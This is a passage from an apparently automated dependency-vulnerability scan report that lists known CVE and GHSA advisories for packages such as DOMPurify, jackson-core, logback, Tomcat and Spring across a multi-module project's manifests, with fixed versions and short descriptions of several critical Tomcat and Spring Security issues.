| MEDIUM | GHSA-39q2-94rc-95cp | dompurify | 3.2.5 | 3.4.0 | engine-rest/docs/package-lock.json | DOMPurify's ADD_TAGS function form bypasses FORBID_TAGS due to short-circuit evaluation |
| MEDIUM | GHSA-cj63-jhhr-wcxv | dompurify | 3.2.5 | 3.3.2 | engine-rest/docs/package-lock.json | DOMPurify USE_PROFILES prototype pollution allows event handlers |
| MEDIUM | GHSA-cjmm-f4jc-qw8r | dompurify | 3.2.5 | 3.3.2 | engine-rest/docs/package-lock.json | DOMPurify ADD_ATTR predicate skips URI validation |
| MEDIUM | GHSA-h8r8-wccr-v5f2 | dompurify | 3.2.5 | 3.3.2 | engine-rest/docs/package-lock.json | DOMPurify is vulnerable to mutation-XSS via Re-Contextualization |
| MEDIUM | CVE-2026-33349 | fast-xml-parser | 4.5.3 | 4.5.5, 5.5.7 | engine-rest/docs/package-lock.json | fast-xml-parser: fast-xml-parser: Denial of Service via unbounded entity expansion due to incorrect configuration limit handling |
| MEDIUM | CVE-2026-41650 | fast-xml-parser | 4.5.3 | 5.7.0 | engine-rest/docs/package-lock.json | fast-xml-parser: fast-xml-parser: XML injection via improper escaping of comment and CDATA sequences |
| MEDIUM | CVE-2025-64718 | js-yaml | 4.1.0 | 4.1.1, 3.14.2 | engine-rest/docs/package-lock.json | js-yaml is a JavaScript YAML parser and dumper. In js-yaml before 4.1. ... |
| MEDIUM | CVE-2026-41305 | postcss | 8.4.49 | 8.5.10 | engine-rest/docs/package-lock.json | postcss: PostCSS: Cross-Site Scripting (XSS) via improper escaping of style closing tags |
| MEDIUM | CVE-2026-33532 | yaml | 1.10.2 | 2.8.3, 1.10.3 | engine-rest/docs/package-lock.json | yaml: yaml: Denial of Service via deeply nested YAML document parsing |
| MEDIUM | GHSA-72hv-8253-57qq | com.fasterxml.jackson.core:jackson-core | 2.15.2 | 2.21.1, 2.18.6 | engine-rest/engine-rest-jakarta/pom.xml | jackson-core: Number Length Constraint Bypass in Async Parser Leads to Potential DoS Condition |
| MEDIUM | GHSA-72hv-8253-57qq | com.fasterxml.jackson.core:jackson-core | 2.15.2 | 2.21.1, 2.18.6 | engine-rest/engine-rest-openapi-generator/pom.xml | jackson-core: Number Length Constraint Bypass in Async Parser Leads to Potential DoS Condition |
| MEDIUM | CVE-2025-48924 | org.apache.commons:commons-lang3 | 3.8.1 | 3.18.0 | engine-rest/engine-rest-openapi-generator/pom.xml | Uncontrolled Recursion vulnerability in Apache Commons Lang. This iss ... |
| MEDIUM | GHSA-72hv-8253-57qq | com.fasterxml.jackson.core:jackson-core | 2.15.2 | 2.21.1, 2.18.6 | engine-rest/engine-rest/pom.xml | jackson-core: Number Length Constraint Bypass in Async Parser Leads to Potential DoS Condition |
| MEDIUM | GHSA-72hv-8253-57qq | com.fasterxml.jackson.core:jackson-core | 2.15.2 | 2.21.1, 2.18.6 | engine-rest/pom.xml | jackson-core: Number Length Constraint Bypass in Async Parser Leads to Potential DoS Condition |
| MEDIUM | GHSA-72hv-8253-57qq | com.fasterxml.jackson.core:jackson-core | 2.15.2 | 2.21.1, 2.18.6 | engine-rest/pom.xml | jackson-core: Number Length Constraint Bypass in Async Parser Leads to Potential DoS Condition |
| MEDIUM | GHSA-72hv-8253-57qq | com.fasterxml.jackson.core:jackson-core | 2.15.2 | 2.21.1, 2.18.6 | engine-rest/pom.xml | jackson-core: Number Length Constraint Bypass in Async Parser Leads to Potential DoS Condition |
| MEDIUM | CVE-2025-48924 | org.apache.commons:commons-lang3 | 3.8.1 | 3.18.0 | engine-rest/pom.xml | Uncontrolled Recursion vulnerability in Apache Commons Lang. This iss ... |
| MEDIUM | CVE-2024-38820 | org.springframework:spring-context | 5.3.39 | 6.1.14 | qa/integration-tests-engine/pom.xml | The fix for CVE-2022-22968 made disallowedFieldspatterns in DataBinder ... |
| MEDIUM | CVE-2024-38820 | org.springframework:spring-web | 5.3.39 | 6.1.14 | qa/integration-tests-engine/pom.xml | The fix for CVE-2022-22968 made disallowedFieldspatterns in DataBinder ... |
| MEDIUM | CVE-2024-12798 | ch.qos.logback:logback-core | 1.2.11 | 1.5.13, 1.3.15 | qa/performance-tests-engine/pom.xml | ACE vulnerability in JaninoEventEvaluator by QOS.CH logback-core ... |
| MEDIUM | CVE-2025-11226 | ch.qos.logback:logback-core | 1.2.11 | 1.5.19, 1.3.16 | qa/performance-tests-engine/pom.xml | QOS.CH logback-core is vulnerable to Arbitrary Code Execution through file processing |
| MEDIUM | GHSA-72hv-8253-57qq | com.fasterxml.jackson.core:jackson-core | 2.15.2 | 2.21.1, 2.18.6 | spin/dataformat-json-jackson/pom.xml | jackson-core: Number Length Constraint Bypass in Async Parser Leads to Potential DoS Condition |
| MEDIUM | GHSA-72hv-8253-57qq | com.fasterxml.jackson.core:jackson-core | 2.15.2 | 2.21.1, 2.18.6 | spin/pom.xml | jackson-core: Number Length Constraint Bypass in Async Parser Leads to Potential DoS Condition |
| MEDIUM | CVE-2025-11226 | ch.qos.logback:logback-core | 1.5.18 | 1.5.19, 1.3.16 | spring-boot-starter/starter-client/spring-boot/pom.xml | QOS.CH logback-core is vulnerable to Arbitrary Code Execution through file processing |
| MEDIUM | GHSA-72hv-8253-57qq | com.fasterxml.jackson.core:jackson-core | 2.19.2 | 2.21.1, 2.18.6 | spring-boot-starter/starter-client/spring/pom.xml | jackson-core: Number Length Constraint Bypass in Async Parser Leads to Potential DoS Condition |
| MEDIUM | GHSA-72hv-8253-57qq | com.fasterxml.jackson.core:jackson-core | 2.19.2 | 2.21.1, 2.18.6 | spring-boot-starter/starter-qa/integration-test-plugins/pom.xml | jackson-core: Number Length Constraint Bypass in Async Parser Leads to Potential DoS Condition |
| MEDIUM | GHSA-72hv-8253-57qq | com.fasterxml.jackson.core:jackson-core | 2.19.2 | 2.21.1, 2.18.6 | spring-boot-starter/starter-qa/integration-test-plugins/spin/pom.xml | jackson-core: Number Length Constraint Bypass in Async Parser Leads to Potential DoS Condition |
| MEDIUM | GHSA-72hv-8253-57qq | com.fasterxml.jackson.core:jackson-core | 2.19.2 | 2.21.1, 2.18.6 | spring-boot-starter/starter-qa/integration-test-plugins/spin/spin-dataformat-all/pom.xml | jackson-core: Number Length Constraint Bypass in Async Parser Leads to Potential DoS Condition |
| MEDIUM | CVE-2025-11226 | ch.qos.logback:logback-core | 1.5.18 | 1.5.19, 1.3.16 | spring-boot-starter/starter-qa/integration-test-request-scope/pom.xml | QOS.CH logback-core is vulnerable to Arbitrary Code Execution through file processing |
| MEDIUM | GHSA-72hv-8253-57qq | com.fasterxml.jackson.core:jackson-core | 2.19.2 | 2.21.1, 2.18.6 | spring-boot-starter/starter-qa/integration-test-request-scope/pom.xml | jackson-core: Number Length Constraint Bypass in Async Parser Leads to Potential DoS Condition |
| MEDIUM | CVE-2025-66614 | org.apache.tomcat.embed:tomcat-embed-core | 10.1.44 | 11.0.15, 10.1.50, 9.0.113 | spring-boot-starter/starter-qa/integration-test-request-scope/pom.xml | tomcat: Client certificate verification bypass due to virtual host mapping |
| MEDIUM | CVE-2026-25854 | org.apache.tomcat.embed:tomcat-embed-core | 10.1.44 | 9.0.116, 10.1.53, 11.0.20 | spring-boot-starter/starter-qa/integration-test-request-scope/pom.xml | Apache Tomcat: Apache Tomcat: Open Redirect vulnerability via LoadBalancerDrainingValve |
| MEDIUM | CVE-2026-22737 | org.springframework:spring-webmvc | 6.2.10 | 7.0.6, 6.2.17 | spring-boot-starter/starter-qa/integration-test-request-scope/pom.xml | Spring Framework: Spring Framework: Information disclosure via Java scripting engine enabled template views |
| MEDIUM | CVE-2026-22745 | org.springframework:spring-webmvc | 6.2.10 | 7.0.7, 6.2.18 | spring-boot-starter/starter-qa/integration-test-request-scope/pom.xml | spring-webflux: Spring MVC and Spring WebFlux: Denial of Service via slow static resource resolution on Windows |
| MEDIUM | CVE-2025-11226 | ch.qos.logback:logback-core | 1.5.18 | 1.5.19, 1.3.16 | spring-boot-starter/starter-security/pom.xml | QOS.CH logback-core is vulnerable to Arbitrary Code Execution through file processing |
| MEDIUM | CVE-2025-53864 | com.nimbusds:nimbus-jose-jwt | 9.37.3 | 10.0.2, 9.37.4 | spring-boot-starter/starter-security/pom.xml | Nimbus JOSE + JWT is vulnerable to DoS attacks when processing deeply nested JSON |
| MEDIUM | CVE-2026-22751 | org.springframework.security:spring-security-core | 6.5.3 | 6.5.10, 7.0.5 | spring-boot-starter/starter-security/pom.xml | Spring Security: JdbcOneTimeTokenService: Spring Security: Authentication bypass due to race condition in One-Time Token login |
| MEDIUM | CVE-2026-22748 | org.springframework.security:spring-security-oauth2-jose | 6.5.3 | 6.5.10, 7.0.5 | spring-boot-starter/starter-security/pom.xml | Spring Security: Spring Security: Integrity impact due to improper JSON Web Token (JWT) validation |
| MEDIUM | CVE-2025-11226 | ch.qos.logback:logback-core | 1.5.18 | 1.5.19, 1.3.16 | spring-boot-starter/starter-test/pom.xml | QOS.CH logback-core is vulnerable to Arbitrary Code Execution through file processing |
| MEDIUM | CVE-2025-11226 | ch.qos.logback:logback-core | 1.5.18 | 1.5.19, 1.3.16 | spring-boot-starter/starter-webapp-core/pom.xml | QOS.CH logback-core is vulnerable to Arbitrary Code Execution through file processing |
| MEDIUM | GHSA-72hv-8253-57qq | com.fasterxml.jackson.core:jackson-core | 2.19.2 | 2.21.1, 2.18.6 | spring-boot-starter/starter-webapp-core/pom.xml | jackson-core: Number Length Constraint Bypass in Async Parser Leads to Potential DoS Condition |
| MEDIUM | CVE-2025-66614 | org.apache.tomcat.embed:tomcat-embed-core | 10.1.44 | 11.0.15, 10.1.50, 9.0.113 | spring-boot-starter/starter-webapp-core/pom.xml | tomcat: Client certificate verification bypass due to virtual host mapping |
| MEDIUM | CVE-2026-25854 | org.apache.tomcat.embed:tomcat-embed-core | 10.1.44 | 9.0.116, 10.1.53, 11.0.20 | spring-boot-starter/starter-webapp-core/pom.xml | Apache Tomcat: Apache Tomcat: Open Redirect vulnerability via LoadBalancerDrainingValve |
| MEDIUM | CVE-2026-22737 | org.springframework:spring-webmvc | 6.2.10 | 7.0.6, 6.2.17 | spring-boot-starter/starter-webapp-core/pom.xml | Spring Framework: Spring Framework: Information disclosure via Java scripting engine enabled template views |
| MEDIUM | CVE-2026-22745 | org.springframework:spring-webmvc | 6.2.10 | 7.0.7, 6.2.18 | spring-boot-starter/starter-webapp-core/pom.xml | spring-webflux: Spring MVC and Spring WebFlux: Denial of Service via slow static resource resolution on Windows |
| MEDIUM | CVE-2025-11226 | ch.qos.logback:logback-core | 1.5.18 | 1.5.19, 1.3.16 | spring-boot-starter/starter/pom.xml | QOS.CH logback-core is vulnerable to Arbitrary Code Execution through file processing |
| MEDIUM | CVE-2025-48924 | org.apache.commons:commons-lang3 | 3.17.0 | 3.18.0 | spring-boot-starter/starter/pom.xml | Uncontrolled Recursion vulnerability in Apache Commons Lang. This iss ... |
| MEDIUM | GHSA-72hv-8253-57qq | com.fasterxml.jackson.core:jackson-core | 2.15.2 | 2.21.1, 2.18.6 | webapps/assembly-jakarta/pom.xml | jackson-core: Number Length Constraint Bypass in Async Parser Leads to Potential DoS Condition |
| MEDIUM | CVE-2022-25844 | angular | 1.8.2 | webapps/frontend/package-lock.json | angular: Regular Expression Denial of Service (ReDoS) in angular | |
| MEDIUM | CVE-2022-25869 | angular | 1.8.2 | webapps/frontend/package-lock.json | angularjs: Angular Cross-site Scripting (XSS) | |
| MEDIUM | CVE-2023-26116 | angular | 1.8.2 | webapps/frontend/package-lock.json | angularjs: Regular Expression Denial of Service via angular.copy() | |
| MEDIUM | CVE-2023-26117 | angular | 1.8.2 | webapps/frontend/package-lock.json | angularjs: Regular expression denial of service via the $resource service | |
| MEDIUM | CVE-2023-26118 | angular | 1.8.2 | webapps/frontend/package-lock.json | angularjs: Regular Expression Denial of Service via the <input type="url"> element | |
| MEDIUM | CVE-2025-2336 | angular-sanitize | 1.8.2 | webapps/frontend/package-lock.json | Improper sanitization of the value of the 'href' and 'xlink:href' attr ... | |
| MEDIUM | CVE-2024-6485 | bootstrap | 3.4.1 | webapps/frontend/package-lock.json | A security vulnerability has been discovered in bootstrap that could e ... | |
| MEDIUM | CVE-2025-1647 | bootstrap | 3.4.1 | webapps/frontend/package-lock.json | Improper Neutralization of Input During Web Page Generation (XSS or 'C ... | |
| MEDIUM | CVE-2025-15599 | dompurify | 3.2.4 | 3.2.7 | webapps/frontend/package-lock.json | DOMPurify: DOMPurify: Cross-site scripting |
| MEDIUM | CVE-2026-0540 | dompurify | 3.2.4 | 3.3.2, 2.5.9 | webapps/frontend/package-lock.json | DOMPurify: DOMPurify: Cross-site scripting vulnerability |
| MEDIUM | CVE-2026-41238 | dompurify | 3.2.4 | 3.4.0 | webapps/frontend/package-lock.json | DOMPurify: DOMPurify: Cross-Site Scripting bypass via prototype pollution |
| MEDIUM | CVE-2026-41239 | dompurify | 3.2.4 | 3.4.0 | webapps/frontend/package-lock.json | DOMPurify: Vue 2: DOMPurify: Cross-site scripting due to incomplete sanitization of template expressions |
| MEDIUM | CVE-2026-41240 | dompurify | 3.2.4 | 3.4.0 | webapps/frontend/package-lock.json | DOMPurify: DOMPurify: Cross-Site Scripting (XSS) via inconsistent tag sanitization |
| MEDIUM | GHSA-39q2-94rc-95cp | dompurify | 3.2.4 | 3.4.0 | webapps/frontend/package-lock.json | DOMPurify's ADD_TAGS function form bypasses FORBID_TAGS due to short-circuit evaluation |
| MEDIUM | GHSA-cj63-jhhr-wcxv | dompurify | 3.2.4 | 3.3.2 | webapps/frontend/package-lock.json | DOMPurify USE_PROFILES prototype pollution allows event handlers |
| MEDIUM | GHSA-cjmm-f4jc-qw8r | dompurify | 3.2.4 | 3.3.2 | webapps/frontend/package-lock.json | DOMPurify ADD_ATTR predicate skips URI validation |
| MEDIUM | GHSA-h8r8-wccr-v5f2 | dompurify | 3.2.4 | 3.3.2 | webapps/frontend/package-lock.json | DOMPurify is vulnerable to mutation-XSS via Re-Contextualization |
| MEDIUM | CVE-2026-33349 | fast-xml-parser | 4.3.4 | 4.5.5, 5.5.7 | webapps/frontend/package-lock.json | fast-xml-parser: fast-xml-parser: Denial of Service via unbounded entity expansion due to incorrect configuration limit handling |
| MEDIUM | CVE-2026-41650 | fast-xml-parser | 4.3.4 | 5.7.0 | webapps/frontend/package-lock.json | fast-xml-parser: fast-xml-parser: XML injection via improper escaping of comment and CDATA sequences |
| MEDIUM | CVE-2025-13465 | lodash | 4.17.21 | 4.17.23 | webapps/frontend/package-lock.json | lodash: prototype pollution in _.unset and _.omit functions |
| MEDIUM | CVE-2026-2950 | lodash | 4.17.21 | 4.18.0 | webapps/frontend/package-lock.json | lodash: Lodash: Prototype pollution allows deletion of built-in prototype properties via array path bypass |
| MEDIUM | CVE-2025-15284 | qs | 6.13.0 | 6.14.1 | webapps/frontend/package-lock.json | Improper Input Validation vulnerability in qs (parse modules) allows H ... |
| MEDIUM | CVE-2026-8723 | qs | 6.13.0 | 6.15.2 | webapps/frontend/package-lock.json | ### Summary `qs.stringify` throws `TypeError` when called with `arr ... |
| MEDIUM | GHSA-72hv-8253-57qq | com.fasterxml.jackson.core:jackson-core | 2.15.2 | 2.21.1, 2.18.6 | webapps/pom.xml | jackson-core: Number Length Constraint Bypass in Async Parser Leads to Potential DoS Condition |
| LOW | CVE-2024-12801 | ch.qos.logback:logback-core | 1.2.11 | 1.5.13, 1.3.15 | commons/pom.xml | Server-Side Request Forgery (SSRF) in SaxEventRecorder by QOS.CH logba ... |
| LOW | CVE-2026-1225 | ch.qos.logback:logback-core | 1.2.11 | 1.5.25 | commons/pom.xml | ch.qos.logback/logback-core: Malicious logback.xml configuration file allows instantiation of arbitrary classes |
| LOW | CVE-2024-12801 | ch.qos.logback:logback-core | 1.2.11 | 1.5.13, 1.3.15 | commons/testing/pom.xml | Server-Side Request Forgery (SSRF) in SaxEventRecorder by QOS.CH logba ... |
| LOW | CVE-2026-1225 | ch.qos.logback:logback-core | 1.2.11 | 1.5.25 | commons/testing/pom.xml | ch.qos.logback/logback-core: Malicious logback.xml configuration file allows instantiation of arbitrary classes |
| LOW | CVE-2026-1225 | ch.qos.logback:logback-core | 1.5.18 | 1.5.25 | distro/run/core/pom.xml | ch.qos.logback/logback-core: Malicious logback.xml configuration file allows instantiation of arbitrary classes |
| LOW | CVE-2025-55754 | org.apache.tomcat.embed:tomcat-embed-core | 10.1.44 | 11.0.11, 10.1.45, 9.0.109 | distro/run/core/pom.xml | Improper Neutralization of Escape, Meta, or Control Sequences vulnerab ... |
| LOW | CVE-2025-61795 | org.apache.tomcat.embed:tomcat-embed-core | 10.1.44 | 11.0.12, 10.1.47, 9.0.110 | distro/run/core/pom.xml | Improper Resource Shutdown or Release vulnerability in Apache Tomcat. ... |
| LOW | CVE-2026-24733 | org.apache.tomcat.embed:tomcat-embed-core | 10.1.44 | 11.0.15, 10.1.50, 9.0.113 | distro/run/core/pom.xml | tomcat: security constraint bypass with HTTP/0.9 |
| LOW | CVE-2026-43514 | org.apache.tomcat.embed:tomcat-embed-core | 10.1.44 | 9.0.118, 10.1.55, 11.0.22 | distro/run/core/pom.xml | Observable Timing Discrepancy vulnerabilitywhen comparing AJP secret i ... |
| LOW | CVE-2026-22735 | org.springframework:spring-webmvc | 6.2.10 | 7.0.6, 6.2.17 | distro/run/core/pom.xml | org.springframework/spring-webmvc: org.springframework/spring-webflux: Spring MVC and WebFlux: Stream corruption vulnerability when using Server-Sent Events |
| LOW | CVE-2026-22741 | org.springframework:spring-webmvc | 6.2.10 | 7.0.7, 6.2.18 | distro/run/core/pom.xml | Spring MVC: Spring WebFlux: Spring MVC and Spring WebFlux: Denial of Service via cache poisoning |
| LOW | CVE-2026-22746 | org.springframework.security:spring-security-core | 6.5.3 | 6.5.10, 7.0.5 | distro/run/modules/oauth2/pom.xml | Spring Security: Spring Security: Timing attack defense bypass allows information disclosure |
| LOW | CVE-2026-22735 | org.springframework:spring-webmvc | 6.2.10 | 7.0.6, 6.2.17 | distro/run/modules/webapps/pom.xml | org.springframework/spring-webmvc: org.springframework/spring-webflux: Spring MVC and WebFlux: Stream corruption vulnerability when using Server-Sent Events |
| LOW | CVE-2026-22741 | org.springframework:spring-webmvc | 6.2.10 | 7.0.7, 6.2.18 | distro/run/modules/webapps/pom.xml | Spring MVC: Spring WebFlux: Spring MVC and Spring WebFlux: Denial of Service via cache poisoning |
| LOW | CVE-2025-55754 | org.apache.tomcat:tomcat | 10.1.43 | 11.0.11, 10.1.45, 9.0.109 | distro/tomcat/assembly/pom.xml | Improper Neutralization of Escape, Meta, or Control Sequences vulnerab ... |
| LOW | CVE-2025-61795 | org.apache.tomcat:tomcat | 10.1.43 | 11.0.12, 10.1.47, 9.0.110 | distro/tomcat/assembly/pom.xml | Improper Resource Shutdown or Release vulnerability in Apache Tomcat. ... |
| LOW | CVE-2026-24733 | org.apache.tomcat:tomcat | 10.1.43 | 11.0.15, 10.1.50, 9.0.113 | distro/tomcat/assembly/pom.xml | tomcat: security constraint bypass with HTTP/0.9 |
| LOW | CVE-2026-43514 | org.apache.tomcat:tomcat | 10.1.43 | 9.0.118, 10.1.55, 11.0.22 | distro/tomcat/assembly/pom.xml | Observable Timing Discrepancy vulnerabilitywhen comparing AJP secret i ... |
| LOW | CVE-2025-5889 | brace-expansion | 2.0.1 | 2.0.2, 1.1.12, 3.0.1, 4.0.1 | engine-rest/docs/package-lock.json | A vulnerability was found in juliangruber brace-expansion up to 1.1.11 ... |
| LOW | CVE-2026-27942 | fast-xml-parser | 4.5.3 | 5.3.8, 4.5.4 | engine-rest/docs/package-lock.json | fast-xml-parser: fast-xml-parser: Stack overflow leads to Denial of Service |
| LOW | CVE-2025-22233 | org.springframework:spring-context | 5.3.39 | 6.2.7, 6.1.20 | qa/integration-tests-engine/pom.xml | CVE-2024-38820 ensured Locale-independent, lowercase conversion for bo ... |
| LOW | CVE-2024-12801 | ch.qos.logback:logback-core | 1.2.11 | 1.5.13, 1.3.15 | qa/performance-tests-engine/pom.xml | Server-Side Request Forgery (SSRF) in SaxEventRecorder by QOS.CH logba ... |
| LOW | CVE-2026-1225 | ch.qos.logback:logback-core | 1.2.11 | 1.5.25 | qa/performance-tests-engine/pom.xml | ch.qos.logback/logback-core: Malicious logback.xml configuration file allows instantiation of arbitrary classes |
| LOW | CVE-2026-1225 | ch.qos.logback:logback-core | 1.5.18 | 1.5.25 | spring-boot-starter/starter-client/spring-boot/pom.xml | ch.qos.logback/logback-core: Malicious logback.xml configuration file allows instantiation of arbitrary classes |
| LOW | CVE-2026-1225 | ch.qos.logback:logback-core | 1.5.18 | 1.5.25 | spring-boot-starter/starter-qa/integration-test-request-scope/pom.xml | ch.qos.logback/logback-core: Malicious logback.xml configuration file allows instantiation of arbitrary classes |
| LOW | CVE-2025-55754 | org.apache.tomcat.embed:tomcat-embed-core | 10.1.44 | 11.0.11, 10.1.45, 9.0.109 | spring-boot-starter/starter-qa/integration-test-request-scope/pom.xml | Improper Neutralization of Escape, Meta, or Control Sequences vulnerab ... |
| LOW | CVE-2025-61795 | org.apache.tomcat.embed:tomcat-embed-core | 10.1.44 | 11.0.12, 10.1.47, 9.0.110 | spring-boot-starter/starter-qa/integration-test-request-scope/pom.xml | Improper Resource Shutdown or Release vulnerability in Apache Tomcat. ... |
| LOW | CVE-2026-24733 | org.apache.tomcat.embed:tomcat-embed-core | 10.1.44 | 11.0.15, 10.1.50, 9.0.113 | spring-boot-starter/starter-qa/integration-test-request-scope/pom.xml | tomcat: security constraint bypass with HTTP/0.9 |
| LOW | CVE-2026-43514 | org.apache.tomcat.embed:tomcat-embed-core | 10.1.44 | 9.0.118, 10.1.55, 11.0.22 | spring-boot-starter/starter-qa/integration-test-request-scope/pom.xml | Observable Timing Discrepancy vulnerabilitywhen comparing AJP secret i ... |
| LOW | CVE-2026-22735 | org.springframework:spring-webmvc | 6.2.10 | 7.0.6, 6.2.17 | spring-boot-starter/starter-qa/integration-test-request-scope/pom.xml | org.springframework/spring-webmvc: org.springframework/spring-webflux: Spring MVC and WebFlux: Stream corruption vulnerability when using Server-Sent Events |
| LOW | CVE-2026-22741 | org.springframework:spring-webmvc | 6.2.10 | 7.0.7, 6.2.18 | spring-boot-starter/starter-qa/integration-test-request-scope/pom.xml | Spring MVC: Spring WebFlux: Spring MVC and Spring WebFlux: Denial of Service via cache poisoning |
| LOW | CVE-2026-1225 | ch.qos.logback:logback-core | 1.5.18 | 1.5.25 | spring-boot-starter/starter-security/pom.xml | ch.qos.logback/logback-core: Malicious logback.xml configuration file allows instantiation of arbitrary classes |
| LOW | CVE-2026-22746 | org.springframework.security:spring-security-core | 6.5.3 | 6.5.10, 7.0.5 | spring-boot-starter/starter-security/pom.xml | Spring Security: Spring Security: Timing attack defense bypass allows information disclosure |
| LOW | CVE-2026-1225 | ch.qos.logback:logback-core | 1.5.18 | 1.5.25 | spring-boot-starter/starter-test/pom.xml | ch.qos.logback/logback-core: Malicious logback.xml configuration file allows instantiation of arbitrary classes |
| LOW | CVE-2026-1225 | ch.qos.logback:logback-core | 1.5.18 | 1.5.25 | spring-boot-starter/starter-webapp-core/pom.xml | ch.qos.logback/logback-core: Malicious logback.xml configuration file allows instantiation of arbitrary classes |
| LOW | CVE-2025-55754 | org.apache.tomcat.embed:tomcat-embed-core | 10.1.44 | 11.0.11, 10.1.45, 9.0.109 | spring-boot-starter/starter-webapp-core/pom.xml | Improper Neutralization of Escape, Meta, or Control Sequences vulnerab ... |
| LOW | CVE-2025-61795 | org.apache.tomcat.embed:tomcat-embed-core | 10.1.44 | 11.0.12, 10.1.47, 9.0.110 | spring-boot-starter/starter-webapp-core/pom.xml | Improper Resource Shutdown or Release vulnerability in Apache Tomcat. ... |
| LOW | CVE-2026-24733 | org.apache.tomcat.embed:tomcat-embed-core | 10.1.44 | 11.0.15, 10.1.50, 9.0.113 | spring-boot-starter/starter-webapp-core/pom.xml | tomcat: security constraint bypass with HTTP/0.9 |
| LOW | CVE-2026-43514 | org.apache.tomcat.embed:tomcat-embed-core | 10.1.44 | 9.0.118, 10.1.55, 11.0.22 | spring-boot-starter/starter-webapp-core/pom.xml | Observable Timing Discrepancy vulnerabilitywhen comparing AJP secret i ... |
| LOW | CVE-2026-22735 | org.springframework:spring-webmvc | 6.2.10 | 7.0.6, 6.2.17 | spring-boot-starter/starter-webapp-core/pom.xml | org.springframework/spring-webmvc: org.springframework/spring-webflux: Spring MVC and WebFlux: Stream corruption vulnerability when using Server-Sent Events |
| LOW | CVE-2026-22741 | org.springframework:spring-webmvc | 6.2.10 | 7.0.7, 6.2.18 | spring-boot-starter/starter-webapp-core/pom.xml | Spring MVC: Spring WebFlux: Spring MVC and Spring WebFlux: Denial of Service via cache poisoning |
| LOW | CVE-2026-1225 | ch.qos.logback:logback-core | 1.5.18 | 1.5.25 | spring-boot-starter/starter/pom.xml | ch.qos.logback/logback-core: Malicious logback.xml configuration file allows instantiation of arbitrary classes |
| LOW | CVE-2024-8372 | angular | 1.8.2 | webapps/frontend/package-lock.json | Improper sanitization of the value of the 'srcset' attribute in Angula ... | |
| LOW | CVE-2024-8373 | angular | 1.8.2 | webapps/frontend/package-lock.json | Improper sanitization of the value of the [srcset] attribute in <sourc ... | |
| LOW | CVE-2025-0716 | angular | 1.8.2 | webapps/frontend/package-lock.json | Improper sanitization of the value of the 'href' and 'xlink:href' attr ... | |
| LOW | CVE-2026-27942 | fast-xml-parser | 4.3.4 | 5.3.8, 4.5.4 | webapps/frontend/package-lock.json | fast-xml-parser: fast-xml-parser: Stack overflow leads to Denial of Service |
| LOW | CVE-2026-2391 | qs | 6.13.0 | 6.14.2 | webapps/frontend/package-lock.json | qs: qs's arrayLimit bypass in comma parsing allows denial of service |
Detailed Descriptions
CVE-2026-41293 - org.apache.tomcat.embed:tomcat-embed-core
Severity: CRITICAL
Installed Version: 10.1.44
Fixed Version: 9.0.118, 10.1.55, 11.0.22
Target: distro/run/core/pom.xml
Title: Improper Input Validation vulnerability in Apache Tomcat. This issue ...
Description:
Improper Input Validation vulnerability in Apache Tomcat.
This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.21, from 10.1.0-M1 through 10.1.54, from 9.0.0.M1 through 9.0.117, from 10.0.0-M1 through 10.0.27.
Older, end of support versions may also be affected.
Users are recommended to upgrade to version [FIXED_VERSION], which fixes the issue.
Reference: https://avd.aquasec.com/nvd/cve-2026-41293
CVE-2026-43512 - org.apache.tomcat.embed:tomcat-embed-core
Severity: CRITICAL
Installed Version: 10.1.44
Fixed Version: 9.0.118, 10.1.55, 11.0.22
Target: distro/run/core/pom.xml
Title: DEPRECATED: Authentication Bypass Issues vulnerability in digest authe ...
Description:
DEPRECATED: Authentication Bypass Issues vulnerability in digest authentication in Apache Tomcat.
This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.21, from 10.1.0-M1 through 10.1.54, from 9.0.0.M1 through 9.0.117, from 8.5.0 through 8.5.100, from before 7.0.0.
Older unsupported versions any also be affect
Users are recommended to upgrade to version 11.0.22, 10.1.55 or 9.0.118 which fix the issue.
Reference: https://avd.aquasec.com/nvd/cve-2026-43512
CVE-2026-43515 - org.apache.tomcat.embed:tomcat-embed-core
Severity: CRITICAL
Installed Version: 10.1.44
Fixed Version: 9.0.118, 10.1.55, 11.0.22
Target: distro/run/core/pom.xml
Title: Improper Authorization vulnerability when multiple method constraints ...
Description:
Improper Authorization vulnerability when multiple method constraints define an HTTP method for the same extension in Apache Tomcat.
This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.21, from 10.1.0-M1 through 10.1.54, from 9.0.0.M1 through 9.0.117, from 8.5.0 through 8.5.100, from 7.0.0 through 7.0.109.
Users are recommended to upgrade to version 11.0.22, 10.1.55 or 9.0.118 which fix the issue.
Reference: https://avd.aquasec.com/nvd/cve-2026-43515
CVE-2026-22732 - org.springframework.security:spring-security-web
Severity: CRITICAL
Installed Version: 6.5.3
Fixed Version: 6.5.9, 7.0.4
Target: distro/run/modules/oauth2/pom.xml
Title: Spring Security: Spring Security: Security policy bypass and information disclosure due to unwritten HTTP headers
Description:
When applications specify HTTP response headers for servlet applications using Spring Security, there is the possibility that the HTTP Headers will not be written.
This issue affects Spring Security Servlet applications using lazy (default) writing of HTTP Headers:
: from 5.7.0 through 5.7.21, from 5.8.0 through 5.8.23, from 6.3.0 through 6.3.14, from 6.4.0 through 6.4.14, from 6.5.0 through 6.5.8, from 7.0.0 through 7.0.3.
Reference: https://avd.aquasec.com/nvd/cve-2026-22732
CVE-2026-29145 - org.apache.tomcat:tomcat
Severity: CRITICAL
Installed Version: 10.1.43
Fixed Version: 9.0.116, 10.1.53, 11.0.20
Target: distro/tomcat/assembly/pom.xml
Title: Apache Tomcat: Apache Tomcat: Authentication bypass due to CLIENT_CERT soft fail misconfiguration
Description:
CLIENT_CERT authentication does not fail as expected for some scenarios when soft fail is disabled vulnerability in Apache Tomcat, Apache Tomcat Native.
This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.18, from 10.1.0-M7 through 10.1.52, from 9.0.83 through 9.0.115; Apache Tomcat Native: from 1.1.23 through 1.1.34, from 1.2.0 through 1.2.39, from 1.3.0 through 1.3.6, from 2.0.0 through 2.0.13.
Users are recommended to upgrade to version Tomcat Native 1.3.7 or 2.0.14 and Tomcat 11.0.20, 10.1.53 and 9.0.116, which fix the issue.
Reference: https://avd.aquasec.com/nvd/cve-2026-29145
CVE-2026-41293 - org.apache.tomcat:tomcat
Severity: CRITICAL
Installed Version: 10.1.43
Fixed Version: 9.0.118, 10.1.55, 11.0.22
Target: distro/tomcat/assembly/pom.xml
Title: Improper Input Validation vulnerability in Apache Tomcat. This issue ...
Description:
Improper Input Validation vulnerability in Apache Tomcat.
